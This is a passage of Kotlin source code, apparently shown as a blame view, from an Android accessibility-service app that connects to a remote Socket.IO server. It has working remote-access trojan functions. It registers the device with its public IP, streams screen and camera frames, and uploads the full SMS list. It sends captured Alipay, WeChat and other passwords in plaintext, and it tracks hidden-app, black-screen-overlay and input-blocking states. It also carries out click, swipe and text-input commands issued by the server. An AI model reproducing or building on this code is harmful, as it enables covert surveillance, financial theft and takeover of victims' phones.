Log.e(TAG, "❌ 处理CONNECTION_TEST_RESPONSE失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 添加标准pong响应处理
|
|
|
|
|
|
socket.on("pong") { _ ->
|
|
|
|
|
|
Log.d(TAG, "🏓 收到服务器pong响应")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 添加心跳确认响应处理
|
|
|
|
|
|
socket.on("heartbeat_ack") { args ->
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
|
|
|
|
|
val timestamp = data.optLong("timestamp", 0)
|
|
|
|
|
|
Log.d(TAG, "💓 收到服务器心跳确认: timestamp=$timestamp")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 处理heartbeat_ack失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 处理UI层次结构分析请求
|
|
|
|
|
|
socket.on("ui_hierarchy_request") { args ->
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔍🔍🔍 收到UI层次结构请求!!! 🔍🔍🔍")
|
|
|
|
|
|
Log.e(TAG, "📋 Socket连接状态: connected=${socket.connected()}, id=${socket.id()}")
|
|
|
|
|
|
Log.e(TAG, "📋 当前时间戳: ${System.currentTimeMillis()}")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "📋 请求数据: $data")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
handleUIHierarchyRequest(data)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ UI层次结构请求参数为空!!! ❌❌❌")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 📊 自适应画质:接收服务端下发的质量调整指令
|
|
|
|
|
|
socket.on("quality_adjust") { args ->
|
|
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
|
|
|
|
|
Log.i(TAG, "📊 收到画质调整指令: $data")
|
|
|
|
|
|
val fps = data.optInt("fps", -1)
|
|
|
|
|
|
val quality = data.optInt("quality", -1)
|
|
|
|
|
|
val maxWidth = data.optInt("maxWidth", -1)
|
|
|
|
|
|
val maxHeight = data.optInt("maxHeight", -1)
|
|
|
|
|
|
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 支持服务端指令切换采集模式
|
|
|
|
|
|
val captureMode = data.optString("captureMode", "")
|
|
|
|
|
|
if (captureMode == "accessibility") {
|
|
|
|
|
|
Log.i(TAG, "🔄 服务端指令:切换到无障碍截图模式")
|
|
|
|
|
|
service.getScreenCaptureManager()?.switchToAccessibilityMode()
|
|
|
|
|
|
} else if (captureMode == "mediaprojection") {
|
|
|
|
|
|
Log.i(TAG, "🔄 服务端指令:切换到MediaProjection模式")
|
|
|
|
|
|
service.getScreenCaptureManager()?.switchToMediaProjectionMode()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 处理画质调整指令失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun sendDeviceRegistration() {
|
|
|
|
|
|
// 🆕 使用协程获取公网IP并发送注册
|
|
|
|
|
|
scope.launch {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🔧 防止频繁重复注册
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
if (currentTime - lastRegistrationTime < 3000) { // 3秒内不重复发送
|
|
|
|
|
|
Log.d(TAG, "📝 距离上次注册时间过短,跳过重复注册")
|
|
|
|
|
|
return@launch
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
lastRegistrationTime = currentTime
|
|
|
|
|
|
registrationAttempts++
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 限制最大尝试次数,避免无限重试
|
|
|
|
|
|
if (registrationAttempts > 10) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设备注册尝试次数过多($registrationAttempts),可能服务器有问题,暂停注册")
|
|
|
|
|
|
return@launch
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 获取公网IP(异步操作,有缓存)
|
|
|
|
|
|
val publicIP = getPublicIP()
|
|
|
|
|
|
Log.i(TAG, "🌐 设备注册包含公网IP: ${publicIP ?: "获取失败"}")
|
|
|
|
|
|
|
|
|
|
|
|
val androidDeviceId = getDeviceId()
|
|
|
|
|
|
val socketId = socket?.id() ?: "unknown"
|
|
|
|
|
|
val deviceInfo = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", androidDeviceId) // Android设备ID
|
|
|
|
|
|
put("socketId", socketId) // Socket.IO连接ID
|
|
|
|
|
|
put("deviceName", getUniqueDeviceName())
|
|
|
|
|
|
put("deviceModel", android.os.Build.MODEL)
|
|
|
|
|
|
put("osVersion", android.os.Build.VERSION.RELEASE)
|
|
|
|
|
|
put("appVersion", getAppVersionName())
|
|
|
|
|
|
put("appPackage", service.packageName)
|
|
|
|
|
|
put("appName", getAppName())
|
|
|
|
|
|
put("screenWidth", getScreenWidth())
|
|
|
|
|
|
put("screenHeight", getScreenHeight())
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("capabilities", org.json.JSONArray().apply {
|
|
|
|
|
|
put("click")
|
|
|
|
|
|
put("swipe")
|
|
|
|
|
|
put("input")
|
|
|
|
|
|
put("screenshot")
|
|
|
|
|
|
})
|
|
|
|
|
|
put("inputBlocked", service.isInputBlocked())
|
|
|
|
|
|
// 🆕 添加当前黑屏遮盖状态
|
|
|
|
|
|
put("blackScreenActive", service.isBlackScreenActive())
|
|
|
|
|
|
// 🆕 添加当前应用隐藏状态
|
|
|
|
|
|
put("appHidden", service.isAppHidden())
|
|
|
|
|
|
// 添加更多设备信息帮助服务端识别
|
|
|
|
|
|
put("manufacturer", android.os.Build.MANUFACTURER)
|
|
|
|
|
|
put("brand", android.os.Build.BRAND)
|
|
|
|
|
|
put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) // 只取最后16位
|
|
|
|
|
|
// 🆕 添加公网IP信息
|
|
|
|
|
|
put("publicIP", publicIP ?: "unknown")
|
|
|
|
|
|
// 🆕 添加详细系统版本信息
|
|
|
|
|
|
put("systemVersionName", getSystemVersionName())
|
|
|
|
|
|
put("romType", getROMType())
|
|
|
|
|
|
put("romVersion", getROMVersion())
|
|
|
|
|
|
put("osBuildVersion", getOSBuildVersion())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔑🔑🔑 发送设备注册(第${registrationAttempts}次)!!! 🔑🔑🔑")
|
|
|
|
|
|
Log.e(TAG, "📱 设备信息: 设备ID=${deviceInfo.optString("deviceId")}, 设备名=${deviceInfo.optString("deviceName")}")
|
|
|
|
|
|
Log.e(TAG, "🌐 Socket连接状态: connected=${socket?.connected()}, isConnected=$isConnected")
|
|
|
|
|
|
Log.e(TAG, "🔑 Socket ID详情: ${socket?.id()}")
|
|
|
|
|
|
Log.e(TAG, "🌐 公网IP: ${publicIP ?: "获取失败"}")
|
|
|
|
|
|
Log.e(TAG, "📋 完整设备信息: ${deviceInfo.toString()}")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
val emitResult = socket?.emit("device_register", deviceInfo)
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "📡 设备注册发送结果: $emitResult")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 🔧 清除之前的超时检测,设置新的超时检测
|
|
|
|
|
|
registrationTimeoutHandler?.let { handler ->
|
|
|
|
|
|
mainHandler.removeCallbacks(handler)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
registrationTimeoutHandler = Runnable {
|
|
|
|
|
|
if (!isDeviceRegistered && registrationAttempts <= 10) {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "⚠️⚠️⚠️ 设备注册超时,15秒内未收到确认,重新发送注册!!! ⚠️⚠️⚠️")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
sendDeviceRegistration()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
mainHandler.postDelayed(registrationTimeoutHandler!!, 15000) // 改为15秒超时
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送设备注册失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送屏幕数据到服务器(优化版本,减少transport error)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendScreenData(frameData: ByteArray) {
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 频率限制:避免发送过于频繁导致transport error
|
|
|
|
|
|
if (currentTime - lastScreenDataTime < screenDataInterval) {
|
|
|
|
|
|
// 跳过这帧,避免发送过于频繁
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 大小检查:避免发送过大数据导致transport error
|
|
|
|
|
|
if (frameData.size > maxScreenDataSize) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 连接饥饿检查:如果长时间无法发送数据,可能连接有问题
|
|
|
|
|
|
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
|
|
|
|
|
|
if (!isDataStarved) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
isDataStarved = true
|
|
|
|
|
|
// 不立即重连,而是给连接一些时间恢复
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
// 🎯 优化:提前计算Base64字符串,减少JSON构建时的内存分配
|
|
|
|
|
|
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
|
|
|
|
|
|
|
|
|
|
|
|
val screenData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("format", "JPEG")
|
|
|
|
|
|
put("data", base64Data)
|
|
|
|
|
|
put("width", getScreenWidth())
|
|
|
|
|
|
put("height", getScreenHeight())
|
|
|
|
|
|
put("quality", 50)
|
|
|
|
|
|
put("timestamp", currentTime)
|
|
|
|
|
|
put("isLocked", isScreenLocked)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 优化:增加emit失败的容错机制,避免单次失败立即触发重连
|
|
|
|
|
|
try {
|
|
|
|
|
|
socket?.emit("screen_data", screenData)
|
|
|
|
|
|
// 发送成功,重置发送失败计数和饥饿状态
|
|
|
|
|
|
screenDataFailureCount = 0
|
|
|
|
|
|
lastSuccessfulDataSend = currentTime
|
|
|
|
|
|
isDataStarved = false
|
|
|
|
|
|
// ✅ 修正:仅在成功emit后更新限流时间戳,避免提前锁窗导致误丢帧
|
|
|
|
|
|
lastScreenDataTime = currentTime
|
|
|
|
|
|
// 🎯 优化:记录压缩和编码效率,监控优化效果
|
|
|
|
|
|
val base64Size = base64Data.length
|
|
|
|
|
|
val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
} catch (emitException: Exception) {
|
|
|
|
|
|
screenDataFailureCount++
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
if (screenDataFailureCount >= 20) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
checkConnectionAndReconnect()
|
2026-02-15 14:57:38 +08:00
|
|
|
|
screenDataFailureCount = 0
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "屏幕数据发送失败,但不影响后续发送")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "Socket.IO未连接,无法发送屏幕数据")
|
|
|
|
|
|
// ✅ 尝试重连
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送屏幕数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送摄像头数据到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendCameraFrame(frameData: ByteArray) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 频率限制:避免发送过于频繁
|
|
|
|
|
|
if (currentTime - lastCameraDataTime < cameraDataInterval) {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 大小检查:避免发送过大数据
|
|
|
|
|
|
if (frameData.size > maxCameraDataSize) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 摄像头数据过大被跳过: ${frameData.size} bytes > ${maxCameraDataSize} bytes")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
lastCameraDataTime = currentTime
|
|
|
|
|
|
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
// 将摄像头数据编码为Base64
|
|
|
|
|
|
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
|
|
|
|
|
|
|
|
|
|
|
|
val cameraData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("format", "JPEG")
|
|
|
|
|
|
put("data", base64Data)
|
|
|
|
|
|
put("type", "camera")
|
|
|
|
|
|
put("timestamp", currentTime)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
socket?.emit("camera_data", cameraData)
|
|
|
|
|
|
// 发送成功,重置失败计数
|
|
|
|
|
|
cameraDataFailureCount = 0
|
|
|
|
|
|
lastSuccessfulDataSend = currentTime
|
|
|
|
|
|
isDataStarved = false
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
cameraDataFailureCount++
|
|
|
|
|
|
Log.w(TAG, "⚠️ 发送摄像头数据失败 (第${cameraDataFailureCount}次): ${e.message}")
|
|
|
|
|
|
|
|
|
|
|
|
// 如果连续失败次数过多,尝试重连
|
|
|
|
|
|
if (cameraDataFailureCount >= 3) {
|
|
|
|
|
|
Log.w(TAG, "🔄 摄像头数据发送连续失败,尝试重连")
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送摄像头数据")
|
|
|
|
|
|
// ✅ 尝试重连
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送摄像头数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送短信数据到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendSMSData(smsList: List<com.hikoncont.manager.SMSMessage>) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
val smsData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "sms_data")
|
|
|
|
|
|
put("timestamp", currentTime)
|
|
|
|
|
|
put("count", smsList.size)
|
|
|
|
|
|
|
|
|
|
|
|
// 将短信列表转换为JSON数组
|
|
|
|
|
|
val smsArray = JSONArray()
|
|
|
|
|
|
smsList.forEach { sms ->
|
|
|
|
|
|
val smsJson = JSONObject().apply {
|
|
|
|
|
|
put("id", sms.id)
|
|
|
|
|
|
put("address", sms.address)
|
|
|
|
|
|
put("body", sms.body)
|
|
|
|
|
|
put("date", sms.date)
|
|
|
|
|
|
put("read", sms.isRead)
|
|
|
|
|
|
put("type", sms.type)
|
|
|
|
|
|
}
|
|
|
|
|
|
smsArray.put(smsJson)
|
|
|
|
|
|
}
|
|
|
|
|
|
put("smsList", smsArray)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
socket?.emit("sms_data", smsData)
|
|
|
|
|
|
Log.d(TAG, "📱 短信数据已发送: ${smsList.size} 条短信")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送短信数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送短信数据")
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送短信数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送支付宝密码数据
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
Log.i(TAG, "💰 开始发送支付宝密码数据")
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "alipay_password")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("password", password)
|
|
|
|
|
|
put("passwordLength", password.length)
|
|
|
|
|
|
put("inputMethod", inputMethod)
|
|
|
|
|
|
put("activity", "AlipayPasswordActivity")
|
|
|
|
|
|
put("sessionId", System.currentTimeMillis().toString())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("alipay_password", payload)
|
|
|
|
|
|
Log.i(TAG, "✅ 支付宝密码数据已发送")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送支付宝密码数据")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送支付宝密码数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送支付宝检测状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendAlipayDetectionStatus(enabled: Boolean) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "alipay_detection_status")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("enabled", enabled)
|
|
|
|
|
|
put("status", if (enabled) "enabled" else "disabled")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("alipay_detection_status", payload)
|
|
|
|
|
|
Log.i(TAG, "✅ 支付宝检测状态已发送: $enabled")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送支付宝检测状态")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送支付宝检测状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送微信密码数据
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
Log.i(TAG, "💬 开始发送微信密码数据")
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "wechat_password")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("password", password)
|
|
|
|
|
|
put("passwordLength", password.length)
|
|
|
|
|
|
put("inputMethod", inputMethod)
|
|
|
|
|
|
put("activity", "WechatPasswordActivity")
|
|
|
|
|
|
put("sessionId", System.currentTimeMillis().toString())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("wechat_password", payload)
|
|
|
|
|
|
Log.i(TAG, "✅ 微信密码数据已发送")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送微信密码数据")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送微信密码数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送微信检测状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendWechatDetectionStatus(enabled: Boolean) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
Log.i(TAG, "💬 发送微信检测状态: $enabled")
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "wechat_detection_status")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("enabled", enabled)
|
|
|
|
|
|
put("status", if (enabled) "enabled" else "disabled")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("wechat_detection_status", payload)
|
|
|
|
|
|
Log.i(TAG, "✅ 微信检测状态已发送: $enabled")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送微信检测状态")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送微信检测状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送密码输入数据
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
Log.i(TAG, "🔐 发送密码输入数据: $inputMethod")
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", deviceId)
|
|
|
|
|
|
put("type", "password_input")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("password", password)
|
|
|
|
|
|
put("passwordLength", password.length)
|
|
|
|
|
|
put("inputMethod", inputMethod)
|
|
|
|
|
|
put("passwordType", passwordType)
|
|
|
|
|
|
put("activity", activity)
|
|
|
|
|
|
put("installationId", installationId)
|
|
|
|
|
|
put("sessionId", System.currentTimeMillis().toString())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("password_input", payload)
|
|
|
|
|
|
Log.i(TAG, "✅ 密码输入数据已发送")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送密码输入数据")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送密码输入数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun handleControlMessage(json: JSONObject) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val type = json.getString("type")
|
|
|
|
|
|
val data = json.getJSONObject("data")
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "处理控制消息: type=$type")
|
|
|
|
|
|
|
|
|
|
|
|
when (type) {
|
|
|
|
|
|
"CLICK" -> {
|
|
|
|
|
|
val x = data.getDouble("x").toFloat()
|
|
|
|
|
|
val y = data.getDouble("y").toFloat()
|
|
|
|
|
|
Log.d(TAG, "执行点击: ($x, $y)")
|
|
|
|
|
|
service.performClick(x, y)
|
|
|
|
|
|
}
|
|
|
|
|
|
"SWIPE" -> {
|
|
|
|
|
|
val startX = data.getDouble("startX").toFloat()
|
|
|
|
|
|
val startY = data.getDouble("startY").toFloat()
|
|
|
|
|
|
val endX = data.getDouble("endX").toFloat()
|
|
|
|
|
|
val endY = data.getDouble("endY").toFloat()
|
|
|
|
|
|
val duration = data.optLong("duration", 300)
|
|
|
|
|
|
Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
|
|
|
|
|
|
service.performSwipe(startX, startY, endX, endY, duration)
|
|
|
|
|
|
}
|
|
|
|
|
|
"LONG_PRESS" -> {
|
|
|
|
|
|
val x = data.getDouble("x").toFloat()
|
|
|
|
|
|
val y = data.getDouble("y").toFloat()
|
|
|
|
|
|
Log.d(TAG, "执行长按: ($x, $y)")
|
|
|
|
|
|
service.performLongPress(x, y)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"LONG_PRESS_DRAG" -> {
|
|
|
|
|
|
// 🔧 优化:处理包含完整路径的连续长按拖拽
|
|
|
|
|
|
try {
|
|
|
|
|
|
val pathArray = data.getJSONArray("path")
|
|
|
|
|
|
val duration = data.optLong("duration", 1500L)
|
|
|
|
|
|
|
|
|
|
|
|
// 解析路径点
|
|
|
|
|
|
val pathPoints = mutableListOf<android.graphics.PointF>()
|
|
|
|
|
|
for (i in 0 until pathArray.length()) {
|
|
|
|
|
|
val point = pathArray.getJSONObject(i)
|
|
|
|
|
|
val x = point.getDouble("x").toFloat()
|
|
|
|
|
|
val y = point.getDouble("y").toFloat()
|
|
|
|
|
|
pathPoints.add(android.graphics.PointF(x, y))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🔧 执行连续长按拖拽: 路径点数=${pathPoints.size}, 持续时间=${duration}ms")
|
|
|
|
|
|
service.performContinuousLongPressDrag(pathPoints, duration)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "解析连续长按拖拽路径失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"INPUT_TEXT" -> {
|
|
|
|
|
|
val text = data.getString("text")
|
|
|
|
|
|
val isWebUnlock = data.optBoolean("webUnlockMode", false)
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📝 整体输入文本: $text, Web解锁模式: $isWebUnlock")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ Web解锁模式处理
|
|
|
|
|
|
if (isWebUnlock) {
|
|
|
|
|
|
Log.d(TAG, "🔓 启用Web解锁模式")
|
|
|
|
|
|
service.setWebUnlockMode(true)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 使用标准文本输入
|
|
|
|
|
|
service.inputText(text)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 输入完成后重置Web解锁模式
|
|
|
|
|
|
if (isWebUnlock) {
|
|
|
|
|
